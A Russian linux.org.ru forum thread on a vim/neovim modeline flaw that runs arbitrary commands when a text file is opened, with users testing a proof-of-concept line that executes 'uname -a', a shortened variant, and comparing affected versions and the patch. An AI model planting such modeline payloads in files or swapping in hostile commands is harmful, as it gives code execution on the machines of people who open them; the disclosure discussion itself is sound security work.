LINUX.ORG.RU

Уязвимость в vim

 ,


1

1

Опубликована уязвимость в текстовом редакторе vim, позволяющая исполнить произвольный код при открытии редактором текстового файла.

Вот текст файла выполняющего безобидный uname -a

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

Исправление в виде добавленного вызова check_secure() уже доступно в репозиториях vim и neovim.

>>> Очень хорошее описание механизма уязвимости

★★

Проверено: Shaman007 ()

Ответ на: Внезапно от anonymous

С vim я тоже проверял. Перепроверил под запись

~$ cat /etc/lsb-release 
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.6 LTS"
~$ cat delme
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
~$ vim delme 
~$ readlink /etc/alternatives/vim
/usr/bin/vim.basic
~$ vim --version
VIM - Vi IMproved 7.4 (2013 Aug 10, compiled Nov 24 2016 16:44:48)
Included patches: 1-1689
Extra patches: 8.0.0056

https://paste.ubuntu.com/p/wVKW5mzT4C/

MrClon ★★★★★ ()
Ответ на: комментарий от imul

Да у него уже пропатчено.

Я давненько не обновлялся. С 21 мая как минимум. Да и тогда вроде vim не обновлялся (но это не точно). Подозреваю что дело вот в этом:

~$ readlink /etc/alternatives/vim

/usr/bin/vim.basic

MrClon ★★★★★ ()
Ответ на: комментарий от MrClon

Cтрочку кстати можно подсократить. При уязвимости и так тоже работает:

echo ':!uname -a||"fde=assert_fails("source\!\ \%")"' | vim
echo ':!uname -a||"fde=assert_fails("source\!\ \%")"' | vi

imul ★★★★★ ()
Последнее исправление: imul (всего исправлений: 1)
Ответ на: комментарий от MrClon

Подозреваю что дело вот в этом:
/usr/bin/vim.basic

Может быть. Мне проверить не на чем.

imul ★★★★★ ()
Ответ на: комментарий от otto

ХЗ, я вимом пользуюсь в режиме блондинки, настройки почти не трогаю. Смотри выше выхлопы vi(m) --version на пастабинах

MrClon ★★★★★ ()
Ответ на: комментарий от MrClon

Посмотри в vimrc, может стоять nomodeline по дефолту. Пропиши

set modeline
set modelines=1

otto ★★ ()
Последнее исправление: otto (всего исправлений: 1)
Ответ на: комментарий от otto

Да, так работает. Хотя вхождений modeline в /etc/vim и ~/.vim не было, похоже nomodeline это вкомпиленый дефолт.

Дожили блин, коллективными усилиями чиним неработающую уязвимость (:

MrClon ★★★★★ ()

vi/vim работают

от терминала оказалось интереснее зависит. На xterm перед выводом куча нечитаемых символов. Предположительно оттого, как написано в ссылке, source! запускает комнду как если ее печатали вручную.

Короче, вопрос, т.к в виме я не разбираюсь. Это патч:

func Test_source_sandbox()
  new
  call writefile(["Ohello\<Esc>"], 'Xsourcehello')
  source! Xsourcehello | echo
  call assert_equal('hello', getline(1))
  call assert_fails('sandbox source! Xsourcehello', 'E48:')
  bwipe!
endfunc

будет ли на патченной версии работать что-нибудь типа такого

:!echo "hello" & uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
или если как-то еще подделать первую строку?

Kokonavtuz ()
Ответ на: комментарий от MrClon

вкомпиленый дефолт

Самое забавное, что отключают именно по соображениям безопасности )

otto ★★ ()
Ответ на: комментарий от turtle_bazon

Но там уязвимости нет.

Да, нету. Версия Vim-2:8.0.0197-4+deb9u1.

Odalist ★★★★★ ()
Последнее исправление: Odalist (всего исправлений: 1)
Ответ на: комментарий от turtle_bazon

Arch linux, сегодня ещё не обновлялся. Уязвимость работает.

То же самое было. Обновился — теперь не работает.

Zombieff ★★ ()
Ответ на: комментарий от Bad_ptr

емаксик спрашивает пользователя — выполнять или нет

Для кода Lisp-да. Для других я не замечал 😢

Odalist ★★★★★ ()
Последнее исправление: Odalist (всего исправлений: 1)
Ответ на: комментарий от otto

Тогда в каком месте смеяться? Небезопасную фичу можно отключить вручную опцией, и в некоторых сборках эта опция — вкомпиленый дефолт. Вроде всё логично

MrClon ★★★★★ ()
Ответ на: комментарий от MrClon

Ну ты же сказал, что чиним нерабочую уязвимость путем отключения дефолтных безопасных настроек.

otto ★★ ()
Ответ на: комментарий от Kokonavtuz

Трюк рабочий, код запускается, а потом уже запускается вим.

Нет, сразу запускается именно vim, а уже потом он выполняет команду :, после чего видит ! и выполняет следующую внешнюю команду.

andreyu ★★★★★ ()
Ответ на: комментарий от andreyu

Согласен, команда выполняется именно вимом. Я мог пользоваться редактором можно после нажатия enter

Можно комментарий по поводу патча? Он реально делает модлайн безопасным или это костыль?

Kokonavtuz ()
Ответ на: комментарий от Kokonavtuz

Можно комментарий по поводу патча? Он реально делает модлайн безопасным или это костыль?

Вы про ```set nomodeline```?

andreyu ★★★★★ ()
Ответ на: комментарий от andreyu

нет, я про https://github.com/vim/vim/commit/5357552

вимом не пользуюсь, по моим понятиям странно хранить настройки редактора в редактируемом файле, но если эта функция вообще отключена - претензий и вопросов по безопасности нет.

Сам патч, как я понял, не отключает modeline по умолчанию (что было бы проще всего)

Kokonavtuz ()
Ответ на: Не менее внезапно от otto

В современных дистрибутивах vi - симлинк на vim

Арч с 5.1.6 ядром устарел?

[faust@archlinux ~]$ ll /usr/bin/vi
lrwxrwxrwx 1 root root 2 июн  4  2018 /usr/bin/vi -> ex*
faust@archlinux ~]$ uname -ar
Linux archlinux 5.1.6-arch1-1-ARCH #1 SMP PREEMPT Fri May 31 15:17:53 UTC 2019 x86_64 GNU/Linux
Извиняюсь - забыл проверить обновы.
core/linux    5.1.6.arch1-1   -> 5.1.7.arch1-1

drfaust ★★★★★ ()

Опять очередная уязвимость, которая работает исключительно из-под рута при совпадении фазы луны, папиллярного рисунка пятки троюродного дедушки и микросекундных задержек на конвейере процессора? Gentoo, Vim 8.1.0648, уязвимость не выявлена.

Barracuda72 ()

Поржал.

А еще bash позволяет выполнять произвольный код и даже исполняемые файлы. Куда репортить уязвимость ?

windows10 ()
Ответ на: комментарий от imul

Проверил у себя:

$ vim test.txt 

Linux otto 5.1.6-gentoo #1 SMP Mon Jun 3 19:48:55 MSK 2019 x86_64 Intel(R) Core(TM) i5-4670 CPU @ 3.40GHz GenuineIntel GNU/Linux

Нажмите ENTER или введите команду для продолжения
$ vi test.txt 

Linux otto 5.1.6-gentoo #1 SMP Mon Jun 3 19:48:55 MSK 2019 x86_64 Intel(R) Core(TM) i5-4670 CPU @ 3.40GHz GenuineIntel GNU/Linux

Нажмите ENTER или введите команду для продолжения

Если режимы vi и vim отличаются, то в данном случае это играет никакой роли.

otto ★★ ()
Ответ на: комментарий от drfaust

Про арч не знал, в генту так

$ ls -l /usr/bin/vi
lrwxrwxrwx 1 root root 3 мар 14  2018 /usr/bin/vi -> vim

Но это абсолютно неважно, потому что с ex баг тоже работает:

$ ex test.txt 

Linux otto 5.1.6-gentoo #1 SMP Mon Jun 3 19:48:55 MSK 2019 x86_64 Intel(R) Core(TM) i5-4670 CPU @ 3.40GHz GenuineIntel GNU/Linux
otto ★★ ()
Ответ на: комментарий от anonymous

«Всегда знал что vim не нужен.» Ага! Особенно если учесть, что он даже на простенькой кетайской камере установлен! А так то он «не нужен»! :)

ilya73 ()

vim это тот же баш, только еще ебанутее..

anonymous ()
Ответ на: комментарий от Barracuda72

К - кроссплатформа

Отлично работает на Fedora 29 (8.1.1137) и даже на виндовом виме из msys2.

d_a ★★★★★ ()

Извиняюсь, что не упомянул влючённых modeline в новости. Должно быть включено, чтобы уязвимость работала.

По ссылке есть и пример запуска reverse shell в незаметном для пользователя режиме. То есть открыл файл, закрыл, а кто-то другой весь твой HOME скачивает.

Конечно это не самая страшная уязвимость, но я хотел поделиться ею по двум причинам:

1. Отличное описание работы уязвимости понятное даже далёким от security людям (ИМХО)

2. Уязвимость в очень широко распространнёном опенсорсном продукте.

voronaam ★★ ()
Ответ на: комментарий от anonymous

дак исходники то открыты! мы просто сейчас поняли, что их никто не смотрит. Интересно почему?

Потому что эти исходники очень наворочены. И каждый норовит добавить ещё парочку фич. Со временем они накапливаются, а потом никто уже не хочет копаться в этом. Не говоря уже о том, чтобы взяться и удалить ненужное, сделав код проще и понятнее.

А в мире, где действительно ценилась бы безопасность, выживал бы только максимально простой и понятный код.

aeralahthu ()
Ответ на: комментарий от LINUX-ORG-RU

Всё же ты наверное это с горяча сказал

Нда уж, действительно, невнимательно прочитал новость. Я уж было подумал, что из vim'а собираются выпиливать ":!" вообще.

saahriktu ★★★★★ ()
Ответ на: комментарий от voronaam

По ссылке есть и пример запуска reverse shell в незаметном для пользователя режиме.

Супер. Правда тот код у меня уже не заработал, но скорее всего это можно пофиксить

MrClon ★★★★★ ()
Ответ на: комментарий от aeralahthu

выживал бы только максимально простой и понятный код

Или хорошо типизированный.

DonkeyHot ★★★★★ ()
> apt policy neovim
neovim:
  Установлен: 0.4.0+ubuntu1+git201906062023-8e8c7d7-eada8be-47f403b~ubuntu19.04.1
  Кандидат:   0.4.0+ubuntu1+git201906062023-8e8c7d7-eada8be-47f403b~ubuntu19.04.1
  Таблица версий:
 *** 0.4.0+ubuntu1+git201906062023-8e8c7d7-eada8be-47f403b~ubuntu19.04.1 500
        500 http://ppa.launchpad.net/neovim-ppa/unstable/ubuntu disco/main amd64 Packages
        100 /var/lib/dpkg/status
     0.3.4-1 500
        500 http://ru.archive.ubuntu.com/ubuntu disco/universe amd64 Packages

Уязвимость работает.

Turbid ★★★★★ ()
Ответ на: комментарий от Alve

Потому что мы тупые и не понимаем их, очевидно же. Программистов такого уровня, которые могут разбираться в исходниках ядра / вима / телеграма / хренограма уже давно релоцировали в гейропу.

говорите пожалуйста за себя. По факту никто их не смотрит банально потому, что рядовой пользователь не ставит себе цели или акцента на построение безопасной системы и принимает риски проставляя ПО без его ревью в плане безопасности. Да и каким бы вы ни были опытным в плане программирования, вам все равно придется потратить время на то, чтобы разобраться в новом коде, тем более тех масштабов что имеет вим. Мир уже давно настолько переусложнен, что это и есть главная проблема из-за которой получаются такие вещи (как ошибки в коде в общем, так и ошибки в логике работы в частности). Мы раньше то мало что контролировали, а сейчас и подавно.

anonymous ()

в slackware это не работает ls -l /usr/bin/vi /usr/bin/vi -> elvis

niolijke ()
Ответ на: комментарий от DonkeyHot

А в мире, где действительно ценилась бы безопасность, выживал бы только максимально простой и понятный код.

Или хорошо типизированный.

Само по себе не панацея. Конечно, если разработчик поставил себе цель написать код, безопасность которого легко проверить, то сильная статическая типизация ему тут поможет. Но если такая цель не приоритетна, то и хорошая типизация не спасёт.

aeralahthu ()
Ответ на: комментарий от anonymous

Какую информацию это даст? Что кто-то по инструкции не смог воспроизвести уязвимость?
что кто-то модлайны отключил и забыл?

Kokonavtuz ()
Ответ на: комментарий от anonymous

рядовой пользователь
принимает риски

Скроее просто не видит. Потому что обучать рядового пользователя видеть эти риски — задача безблагодатная, а для производителей коммерческого софта так и вовсе убыточная.

aeralahthu ()
Ответ на: комментарий от otto

Но это абсолютно неважно, потому что с ex баг тоже работает:

[faust@archlinux ~]$ cat 1.txt
:!uname -a||"vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
[faust@archlinux ~]$ ex 1.txt
[faust@archlinux ~]$ ex 1.txt
[faust@archlinux ~]$ 

У мну видать по дефолту set nomodeline

:version
Version 4.0 (gritter) 12/25/06
:set
redraw term=xterm-256color
:

drfaust ★★★★★ ()
Ответ на: комментарий от drfaust

У мну видать по дефолту set nomodeline

У меня тоже, я включал модлайн для проверки уязвимости.

otto ★★ ()
Ответ на: комментарий от Aceler

а что не так? и да, оригинально было - с дискеток и сидюков

mumpster ★★★★★ ()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.